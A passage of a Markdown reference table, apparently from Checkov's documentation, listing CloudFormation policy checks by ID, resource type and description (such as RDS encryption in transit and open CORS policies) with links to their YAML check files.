[RDSEncryptionInTransit.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/RDSEncryptionInTransit.yaml)                                                               |\n|  184 | CKV2_AWS_69 | resource | AWS::RDS::DBParameterGroup                                       | Ensure AWS RDS database instance configured with encryption in transit                                                                                                                                   | Cloudformation | [RDSEncryptionInTransit.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/RDSEncryptionInTransit.yaml)                                                               |\n|  185 | CKV2_AWS_71 | resource | AWS::CertificateManager::Certificate                             | Ensure AWS ACM Certificate domain name does not include wildcards                                                                                                                                        | Cloudformation | [ACMWildcardDomainName.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/ACMWildcardDomainName.yaml)                                                                 |\n|  186 | CKV2_AWS_72 | resource | AWS::CloudFront::Distribution                                    | Ensure AWS CloudFront origin protocol policy enforces HTTPS-only                                                                                                                                         | Cloudformation | [CloudfrontOriginNotHTTPSOnly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/CloudfrontOriginNotHTTPSOnly.yaml)                                                   |\n|  187 | CKV2_AWS_75 | resource | AWS::Lambda::Function                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  188 | CKV2_AWS_75 | resource | AWS::Lambda::Url                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  189 | CKV2_AWS_75 | resource | aws                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  190 | CKV2_AWS_75 | resource | aws_accessanalyzer_analyzer                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  191 | CKV2_AWS_75 | resource | aws_accessanalyzer_archive_rule                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  192 | CKV2_AWS_75 | resource | aws_account_alternate_contact                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  193 | CKV2_AWS_75 | resource | aws_account_primary_contact                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  194 | CKV2_AWS_75 | resource | aws_account_region                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  195 | CKV2_AWS_75 | resource | aws_acm_certificate                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  196 | CKV2_AWS_75 | resource | aws_acm_certificate_validation                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  197 | CKV2_AWS_75 | resource | aws_acmpca_certificate                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  198 | CKV2_AWS_75 | resource | aws_acmpca_certificate_authority                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  199 | CKV2_AWS_75 | resource | aws_acmpca_certificate_authority_certificate                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  200 | CKV2_AWS_75 | resource | aws_acmpca_permission                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  201 | CKV2_AWS_75 | resource | aws_acmpca_policy                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  202 | CKV2_AWS_75 | resource | aws_alb                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  203 | CKV2_AWS_75 | resource | aws_alb_listener                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  204 | CKV2_AWS_75 | resource | aws_alb_listener_certificate                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  205 | CKV2_AWS_75 | resource | aws_alb_listener_rule                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  206 | CKV2_AWS_75 | resource | aws_alb_target_group                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  207 | CKV2_AWS_75 | resource | aws_alb_target_group_attachment                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  208 | CKV2_AWS_75 | resource | aws_ami                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  209 | CKV2_AWS_75 | resource | aws_ami_copy                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  210 | CKV2_AWS_75 | resource | aws_ami_from_instance                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  211 | CKV2_AWS_75 | resource | aws_ami_launch_permission                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  212 | CKV2_AWS_75 | resource | aws_amplify_app                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  213 | CKV2_AWS_75 | resource | aws_amplify_backend_environment                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  214 | CKV2_AWS_75 | resource | aws_amplify_branch                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  215 | CKV2_AWS_75 | resource | aws_amplify_domain_association                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  216 | CKV2_AWS_75 | resource | aws_amplify_webhook                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  217 | CKV2_AWS_75 | resource | aws_api_gateway_account                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  218 | CKV2_AWS_75 | resource | aws_api_gateway_api_key                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  219 | CKV2_AWS_75 | resource | aws_api_gateway_authorizer                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  220 | CKV2_AWS_75 | resource | aws_api_gateway_base_path_mapping                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  221 | CKV2_AWS_75 | resource | aws_api_gateway_client_certificate                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  222 | CKV2_AWS_75 | resource | aws_api_gateway_deployment                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  223 | CKV2_AWS_75 | resource | aws_api_gateway_documentation_part                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  224 | CKV2_AWS_75 | resource | aws_api_gateway_documentation_version                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  225 | CKV2_AWS_75 | resource | aws_api_gateway_domain_name                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  226 | CKV2_AWS_75 | resource | aws_api_gateway_domain_name_access_association                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  227 | CKV2_AWS_75 | resource | aws_api_gateway_gateway_response                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  228 | CKV2_AWS_75 | resource | aws_api_gateway_integration                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  229 | CKV2_AWS_75 | resource | aws_api_gateway_integration_response                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  230 | CKV2_AWS_75 | resource | aws_api_gateway_method                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  231 | CKV2_AWS_75 | resource | aws_api_gateway_method_response                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  232 | CKV2_AWS_75 | resource | aws_api_gateway_method_settings                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  233 | CKV2_AWS_75 | resource | aws_api_gateway_model                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  234 | CKV2_AWS_75 | resource | aws_api_gateway_request_validator                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  235 | CKV2_AWS_75 | resource | aws_api_gateway_resource                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  236 | CKV2_AWS_75 | resource | aws_api_gateway_rest_api                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  237 | CKV2_AWS_75 | resource | aws_api_gateway_rest_api_policy                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  238 | CKV2_AWS_75 | resource | aws_api_gateway_stage                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  239 | CKV2_AWS_75 | resource | aws_api_gateway_usage_plan                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  240 | CKV2_AWS_75 | resource | aws_api_gateway_usage_plan_key                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  241 | CKV2_AWS_75 | resource | aws_api_gateway_vpc_link                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  242 | CKV2_AWS_75 | resource | aws_apigatewayv2_api                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  243 | CKV2_AWS_75 | resource | aws_apigatewayv2_api_mapping                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  244 | CKV2_AWS_75 | resource | aws_apigatewayv2_authorizer                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  245 | CKV2_AWS_75 | resource | aws_apigatewayv2_deployment                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  246 | CKV2_AWS_75 | resource | aws_apigatewayv2_domain_name                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  247 | CKV2_AWS_75 | resource | aws_apigatewayv2_integration                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  248 | CKV2_AWS_75 | resource | aws_apigatewayv2_integration_response                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  249 | CKV2_AWS_75 | resource | aws_apigatewayv2_model                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  250 | CKV2_AWS_75 | resource | aws_apigatewayv2_route                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  251 | CKV2_AWS_75 | resource | aws_apigatewayv2_route_response                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  252 | CKV2_AWS_75 | resource | aws_apigatewayv2_stage                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  253 | CKV2_AWS_75 | resource | aws_apigatewayv2_vpc_link                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  254 | CKV2_AWS_75 | resource | aws_app_cookie_stickiness_policy                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  255 | CKV2_AWS_75 | resource | aws_appautoscaling_policy                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  256 | CKV2_AWS_75 | resource | aws_appautoscaling_scheduled_action                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  257 | CKV2_AWS_75 | resource | aws_appautoscaling_target                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  258 | CKV2_AWS_75 | resource | aws_appconfig_application                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  259 | CKV2_AWS_75 | resource | aws_appconfig_configuration_profile                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  260 | CKV2_AWS_75 | resource | aws_appconfig_deployment                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  261 | CKV2_AWS_75 | resource | aws_appconfig_deployment_strategy                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  262 | CKV2_AWS_75 | resource | aws_appconfig_environment                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  263 | CKV2_AWS_75 | resource | aws_appconfig_extension                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  264 | CKV2_AWS_75 | resource | aws_appconfig_extension_association                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  265 | CKV2_AWS_75 | resource | aws_appconfig_hosted_configuration_version                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  266 | CKV2_AWS_75 | resource | aws_appfabric_app_authorization                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  267 | CKV2_AWS_75 | resource | aws_appfabric_app_authorization_connection                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  268 | CKV2_AWS_75 | resource | aws_appfabric_app_bundle                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  269 | CKV2_AWS_75 | resource | aws_appfabric_ingestion                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  270 | CKV2_AWS_75 | resource | aws_appfabric_ingestion_destination                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  271 | CKV2_AWS_75 | resource | aws_appflow_connector_profile                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  272 | CKV2_AWS_75 | resource | aws_appflow_flow                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  273 | CKV2_AWS_75 | resource | aws_appintegrations_data_integration                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  274 | CKV2_AWS_75 | resource | aws_appintegrations_event_integration                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  275 | CKV2_AWS_75 | resource | aws_applicationinsights_application                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  276 | CKV2_AWS_75 | resource | aws_appmesh_gateway_route                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  277 | CKV2_AWS_75 | resource | aws_appmesh_mesh                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  278 | CKV2_AWS_75 | resource | aws_appmesh_route                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  279 | CKV2_AWS_75 | resource | aws_appmesh_virtual_gateway                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | 